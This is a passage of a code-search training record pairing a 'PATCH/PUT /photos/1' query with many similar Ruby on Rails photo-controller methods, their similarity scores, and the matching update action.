Post.find(params[:post_id])\n if (!post.present?)\n raise 'Post is not found'\n end\n\n if (post.main_photo.to_i < 1)\n post.main_photo = @photo.id\n post.save\n end\n\n post_photo = PostPhoto.find_or_initialize_by(post_id: params[:post_id], photo_id: @photo.id)\n post_photo.save\n\n end\n\n format.html {\n render :json => [@photo.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@photo.to_jq_upload]}, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Uploaded successfully.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n photo.attributes = photo_params\n\n respond_to do |format|\n if photo.save\n format.html { redirect_to admin_photos_path, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: photo }\n else\n format.html { render :new }\n format.json { render json: photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @car = Car.new(car_params)\n\n respond_to do |format|\n if @car.save\n params[:photos]['image'].each do |p|\n @photo = @car.photos.create!(:image => p, :car_id => @car.id)\n end\n format.html { redirect_to @car, notice: 'Car was successfully added.' }\n format.json { render :show, status: :created, location: @car }\n else\n format.html { render :new }\n format.json { render json: @car.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gadget = Gadget.find(params[:photo][:gadget_id])\n @photos = @gadget.photos.new(params[:photo])\n respond_to do |format|\n if @photos.save\n format.html { redirect_to @gadget, notice: 'Photo was successfully uploaded.' }\n format.json { render json: @gadget, status: :created, location: @gadget }\n else\n format.html { redirect_to gadget_path(params[:gadget_id]) }\n format.json { render json: @gadget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user = current_user\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to request.env[\"HTTP_REFERER\"] || @photo.photoable, notice: 'Photo added!' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_path(@photo.album), notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { redirect_to album_path(@photo.album), notice: @photo.errors.full_messages.join(', ') }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.person_id = session[:person_id]\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @photo = Photo.new(params[:photo])\r\n\r\n respond_to do |format|\r\n if @photo.save\r\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\r\n format.json { render json: @photo, status: :created, location: @photo }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def new\n @album = Album.new\n @photo = @album.photos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create\n @photo = @allbum.photos.new(params[:photo])\n respond_to do |format|\n if @photo.save\n format.html { redirect_to new_allbum_photo_path, notice:\"Saved,You can add more images...\" }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def photos options={}\n response = client.get(\"/#{id}/photos\", options)\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html {\n render :json => [@photo.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@photo.to_jq_upload]}, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.create(params[:photo])\n end", "def create\n parameters = photo_params\n parameters[:photo_id] = next_photo_id\n # parameters[:photo_id] = parameters[:photo_id].to_i\n parameters[:user_id] = parameters[:user_id].to_i\n parameters[:latitude] = parameters[:latitude].to_f\n parameters[:longitude] = parameters[:longitude].to_f\n\n @photo = Photo.new(parameters)\n\n # respond_to do |format|\n if @photo.save\n # format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n # format.json { render :show, status: :created, location: @photo }\n render json: @photo\n # else\n # format.html { render :new, status: :unprocessable_entity }\n # format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n # end\n end", "def add_to_campaign\n photo = current_user.photos.find params[:id]\n campaign = Campaign.find params[:campaign_id]\n\n @photo_tags = photo.add_to_campaign campaign\n\n respond_to do |format|\n format.json do\n if @photo_tags\n render json: @photo_tags\n else\n render :status => 422, text: photo.errors.full_messages.to_sentence\n end\n end\n end\n \n end", "def create\n if params[:photo_files].blank?\n render json: [ 'ファイルを選択してください' ], status: :unprocessable_entity\n return\n end\n\n album = Album.find(params['album_id'])\n # TODO: Transactionかけるとかエラーハンドリングしたい\n params[:photo_files].each do |file|\n photo = Photo.new(image: file, title: '[無題]', album_id: album.id, user_id: current_user.id, exif_at: Photo::set_exif_at(file.path))\n photo.save\n end\n\n # memo Ajaxでのpostはsaveのエラーが画面には表示されないので、自分で出力してあげる\n # あと、pメソッドでログに出力されないため、loggerを使用する\n # logger.debug @photo.errors.full_messages.inspect\n # logger.debug @photo.errors.full_messages.to_sentence\n\n UpdateHistory.create_or_update(album, UpdateHistory::ALBUMPHOTO_CREATE, current_user.id)\n render json: {}, status: :created\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user_id = current_user.id\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url, notice: t(\"controllers.photos.creat_success\") }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = current_user.photos.new\n @greeting = [\"got something beautiful you'd like to share with the world?\", \"feeling good today? Spread the happiness one photo at a time!\", \"show the world some lovin'.\" ]\n\n\n # @photo.photo_images = photo_params[:photo_images].map do |img|\n # byebug\n # PhotoImage.new(image: img)\n # end\n # @photo = Photo.new(photo_params)\n # @photo.user_id = current_user.id\n respond_to do |format|\n if @photo.save\n # params[:photo]['images'].each do |img|\n @photo_image = PhotoImage.create(image: params[:photo][:photo_images], photo_id: @photo.id)\n # @photo_image = @photo.photo_images.create()\n \n format.html { redirect_to edit_photo_path(@photo), notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @photos = Photo.all\n\n render json: @photos\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user = current_user\n\n set_tags\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = @camera.photos.build photo_params\n @photo.image = {data: params[:photo][:image]}\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render status: :accepted }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @picture = Picture.create!(picture_params)\n render json: @picture, status: :created\n end", "def create\n @photo = current_user.photos.build(photo_params)\n @photo.image_url = upload_photo_and_return_name\n respond_to do |format|\n if @photo.save\n format.html { redirect_to root_url }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n\t\t@post = Post.new\n\t\t# respond_to do |format|\n\t\t# \tformat.html\n\t\t# \tformat.json {render json: @post}\n\t\t# end\n\n\t\t3.times do\n\t\t\tphoto = @post.photos.build\n\t\tend\n\tend", "def create\n @photo = Photo.new(photo_params)\n @photo.pet = @pet\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.build(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html {\n render :json => [@photo.to_jq_image].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@photo.to_jq_image].to_json\n }\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end\n end", "def create\n #@rental = Rental.new(params[:rental])\n rental_data = params[:rental]\n photo_ids = rental_data.delete :photo_ids\n @rental = Rental.new(rental_data)\n\n respond_to do |format|\n if @rental.save\n update_photos_with_rental_id photo_ids, @rental\n\n format.html { redirect_to @rental, notice: 'Rental was successfully created.' }\n format.json { render json: @rental, status: :created, location: @rental }\n else\n @object_new = Photo.new\n format.html { render action: \"new\" }\n format.json { render json: @rental.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n create_new_collection_if_needed\n @photo = Photo.new(params[:photo])\n @photo.user = current_user\n authorize! :create, @photo\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo.collection, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sample_photo = SamplePhoto.new(sample_photo_params)\n\n\n if @sample_photo.save\n render json: @sample_photo, status: :created\n else\n render json: @sample_photo.errors, status: :unprocessable_entity\n end\n end", "def create\n paths = create_with_thumbnail(params['content'])\n @photo = Photo.create(:name => params['photo']['name'], :mimetype => params['content'].content_type, :path => paths[0], :thumbnail => paths[1])\n @photo.save()\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to(@photo, :notice => 'Photo was successfully created.') }\n format.xml { render :xml => @photo, :status => :created, :location => @photo }\n format.json { render :json => {'p_url' => \"#{PUZZUULE_URL_BASE}id=#{@photo.id}\"} }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @albums = get_current_albums\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url, notice: 'Фотография была успешно добавлена.' }\n format.json { render action: 'show', status: :created, location: @photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @image = Photo.new(photo_params)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @image, notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n format.html { redirect_to [@country,@spot], notice: \"Spot was successfully created.\" }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n format.html { redirect_to [@country,@spot], notice: \"Spot was successfully created.\" }\n else\n format.html { render :new }\n end\n end\n end", "def new\n @photo = current_user.photos.build(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create\r\n @photo = Photo.new(params[:photo]) \r\n\r\n respond_to do |format|\r\n if @photo.save\r\n format.html { redirect_to @photo, notice: 'Fotka úspěšně vytvořena.' }\r\n format.json { render json: @photo, status: :created, location: @photo }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @place = Place.new(place_params)\n\n if @place.save\n if params[:images]\n params[:images].each do |image|\n @place.photos.create(image: image)\n end\n end\n end\n\n respond_to do |format|\n if @place.save\n format.html do\n redirect_to new_place_photo_path(@place),\n notice: 'Place was successfully created.'\n end\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photogallery = Photogallery.new(photogallery_params)\n\n respond_to do |format|\n if @photogallery.save\n format.html { redirect_to @photogallery, notice: 'Photogallery was successfully created.' }\n format.json { render :show, status: :created, location: @photogallery }\n else\n format.html { render :new }\n format.json { render json: @photogallery.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n # @photos = Photo.all\n data = Photo.all\n render status: :ok, json: data\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user = current_user\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user_id = session[:user_id]\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to '/home', notice: 'You have uploaded a new photo'}\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\t\t@photo.user_id = @logged_in_user.id\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was uploaded successfully.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n # Attempt creation\n @photo = Photo.new(photo_params)\n\n # Respond\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n # In case of errors make sure they go into flash\n if @photo.errors.full_messages.length.positive?\n flash[:error] = @photo.errors.full_messages.join(\", \")\n end\n # Redirect\n format.html { redirect_to new_photo_path(tour_id: @photo.tour.id) }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @location = Location.find(params[:location_photo][:location_id])\n @location_photo = @location.photos.create(location_photo_params)\n\n respond_to do |format|\n if @location_photo.save\n format.html {\n render json: [@location_photo.to_jq_upload].to_json,\n content_type: 'text/html',\n layout: false\n }\n format.json { render json: {files: [@location_photo.to_jq_upload]}, status: :created, location: @location_photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @recipe_photo = RecipePhoto.new(recipe_photo_params)\n\n respond_to do |format|\n if @recipe_photo.save\n format.html { redirect_to @recipe_photo, notice: 'Recipe photo was successfully created.' }\n format.json { render :show, status: :created, location: @recipe_photo }\n else\n format.html { render :new }\n format.json { render json: @recipe_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # photo = photo.create! params.require(:photo)\n @photo = Photo.new(photo_params)\n @photo.album_id = params[:album_id]\n @photo.user_id = current_user.id\n # @photo.pictures.attach(params[:photo][:picture])\n respond_to do |format|\n if @photo.save(validate: false)\n format.html { redirect_to album_photos_path , notice: \"Photo was successfully created.\" }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:photo][:user_id] = session[:current_user_id]\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to poi_url(@photo.poi) }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { redirect_to poi_url(@photo.poi) }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_photo\n if !params[:photo]\n @show_form = true;\n else\n @show_form = false;\n # set the particulars\n flickr_id = params[:photo][:flickrid];\n flickr_url = 'http://api.flickr.com/services/rest/'\n flickr_method = 'flickr.photos.getInfo'\n secret = 'xxxxx' # :NOTE: replace with your API secret\n api_key = 'xxxxx' # :NOTE: replace with your API key\n auth_token = 'xxxxx' # :NOTE: replace with your auth token\n \n # get information about this photo from flickr\n # generate the api signature\n sig_raw = secret + 'api_key' + api_key + 'auth_token' + auth_token + 'method' + flickr_method + 'photo_id' + flickr_id\n api_sig = MD5.hexdigest(sig_raw)\n page_url = flickr_url + '?method=' + flickr_method +\n '&api_key=' + api_key + '&auth_token=' + auth_token +\n '&api_sig=' + api_sig + '&photo_id=' + flickr_id\n # get the data and parse it\n page_xml = Net::HTTP.get_response(URI.parse(page_url)).body\n full_flickr_page = XmlSimple.xml_in(page_xml)\n # if we didn't get an error from flickr...\n if full_flickr_page['stat'] == 'ok'\n flickr_page = full_flickr_page['photo'][0]\n # create the new photo object and fill it up\n photo = Photo.new\n photo.flickrid = flickr_id\n photo.farm = flickr_page['farm']\n photo.secret = flickr_page['secret']\n photo.server = flickr_page['server']\n photo.dateadded = Time.at(flickr_page['dateuploaded'].to_i)\n photo.lastupdate = Time.at(flickr_page['dates'][0]['lastupdate'].to_i)\n photo.seen_at = Time.now\n photo.flickr_status = \"not in pool\"\n photo.mapped = (!flickr_page['location']) ? 'false' : 'true'\n \n # now try and get a record for the owner of this photo\n owner = Person.find_by_flickrid(flickr_page['owner'][0]['nsid'])\n # if the owner doesn't exist, create it\n if !owner\n owner = Person.new\n end\n # set the details\n owner.flickrid = flickr_page['owner'][0]['nsid']\n owner.username = flickr_page['owner'][0]['username']\n owner.flickr_status = \"active\"\n \n # save the owner\n owner.save\n # attach the owner to the photo\n photo.person = owner\n \n # we got an error from flickr\n else\n photo = Photo.new\n photo.flickrid = flickr_id\n photo.dateadded = Time.at(0)\n photo.lastupdate = Time.at(0)\n photo.seen_at = Time.now\n photo.flickr_status = \"missing\"\n end\n\n # save the photo\n photo.save\n \n # redirect to the photo's show page\n redirect_to :action => 'show', :id => photo\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.file = params[:file]\n\n respond_to do |format|\n if @photo.save\n format.html { render :text => \"FILEID:\" + @photo.file.album.url }\n format.json { render :nothing => true }\n else\n format.html { render :text => \"ERRORS:\" + @photo.errors.full_messages.join(\" \"), :status => 500 }\n format.json { render json => @photo.errors, :status => 500 }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n respond_to do |format|\n if @photo.save\n @current_user.upload_photo(@photo)\n format.html { redirect_to edit_admin_gallery_path(:id=>@gallery.id), notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @comment_photo = CommentPhoto.new(comment_photo_params)\n\n respond_to do |format|\n if @comment_photo.save\n @id = @comment_photo.photo.id.to_s\n @ruta = \"/photos/\"+@id\n format.html { redirect_to @ruta, notice: 'Commentphoto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @comment_photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @comment_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n \n create_photo_args = {}\n create_photo_args[:uploaded_file] = params[:photo_url]\n \n Sebitmin::Application.config.thumbnail_sizes.each do |thumbnail_size|\n thumbnail_width_sym = \"thumbnail_width_#{thumbnail_size}\"\n if params.key?(thumbnail_width_sym)\n create_photo_args[thumbnail_width_sym] = params[thumbnail_width_sym]\n end\n \n thumbnail_height_sym = \"thumbnail_height_#{thumbnail_size}\"\n if params.key?(thumbnail_height_sym)\n create_photo_args[thumbnail_height_sym] = params[thumbnail_height_sym]\n end\n end\n @photo.create_photo(create_photo_args)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to new_photo_path, notice: 'Фото было успешно создано! Добавим еще?' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @photo = Photo.new \n \n #@photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create\n @album = Album.new(album_params)\n\n not_blank_photos = @album.photos.select do |photo|\n ! photo.title.blank?\n end\n @album.photos = not_blank_photos\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render action: 'show', status: :created, location: @album }\n else\n format.html { render action: 'new' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @eventphoto = EventPhoto.new(eventphoto_params)\n event = Event.find_by_id(params[:event_id])\n respond_to do |format|\n if @eventphoto.save\n event.event_photos << @eventphoto\n format.html { redirect_to event_path(event), notice: 'Event Photo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @eventphoto }\n else\n format.html { render action: 'new' }\n format.json { render json: @eventphoto.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user = current_user\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n post = Post.new(post_params)\n post.location = Location.create(name: params[:post][:location][:name], lat: params[:post][:location][:lat], long: params[:post][:location][:long])\n if post.save\n params[:post][:images].each do |i|\n img = Image.find(i[:id])\n img.update(active: 1, post_id: post.id)\n end\n\n render json: {\n status: \"success\",\n data: post.as_json(\n include: [\n {\n user:\n {\n only: [:id, :name, :avatar]\n }\n },\n :location,\n {\n images: {\n only: [:id, :src]\n }\n },\n :rates\n ])}, status: :ok\n\n else\n render json: post.errors, status: 404\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.slug = (photo_params[:start].to_s.mb_chars.downcase+photo_params[:text].to_s.mb_chars.downcase).gsub(/[^a-z0-9äöåÄÖÅ\\s]/i, '')\n @photo.views = 0\n @photo.secret_id = Time.now.to_i.to_s + '_' + SecureRandom.hex.to_s\n @photo.url = '/images/'+@photo.secret_id.to_s+'.jpg'\n\n @photo.addtext(@photo.url.to_s)\n @photo.add_to_view_count(5)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def make_primary\n photo = Photo.find(params[:photo_id])\n @venue.set_primary_photo(photo.id)\n render json: { images: gallery_images(@venue) }\n end" ]
[ "0.7361035", "0.7185209", "0.6947464", "0.6922178", "0.6897456", "0.6851186", "0.66842484", "0.6675465", "0.66148436", "0.66095084", "0.6601552", "0.65587986", "0.6548897", "0.6548897", "0.6548897", "0.6548897", "0.6548897", "0.6544014", "0.64769965", "0.6464411", "0.6464411", "0.6464411", "0.6464411", "0.6464411", "0.646326", "0.6455048", "0.6446348", "0.6440438", "0.64373547", "0.643228", "0.64298034", "0.6424012", "0.64137286", "0.64044595", "0.6390583", "0.63618827", "0.63599473", "0.6357825", "0.63552314", "0.6346578", "0.6334318", "0.63139373", "0.6313812", "0.6306331", "0.6291529", "0.6289791", "0.62851745", "0.6272889", "0.6268024", "0.62608665", "0.62581885", "0.62562835", "0.6251993", "0.6236876", "0.6236652", "0.6235492", "0.6234357", "0.6231499", "0.6224703", "0.6224703", "0.62125605", "0.6201412", "0.61971766", "0.6188286", "0.6185706", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6185116", "0.6184605", "0.6180774", "0.6178753", "0.6175966", "0.6175608", "0.61734074", "0.61667365", "0.616585", "0.6159067", "0.61575747", "0.61558366", "0.6153324", "0.61517316", "0.61507314", "0.6145961", "0.6133993", "0.6123383", "0.6117599", "0.6116751", "0.6116751", "0.6109713", "0.61086464", "0.6089595", "0.6087156" ]
0.0
-1
PATCH/PUT /photos/1 PATCH/PUT /photos/1.json
def update respond_to do |format| if @photo.update(photo_params) format.html { redirect_to @photo, notice: 'Photo was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @photo.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
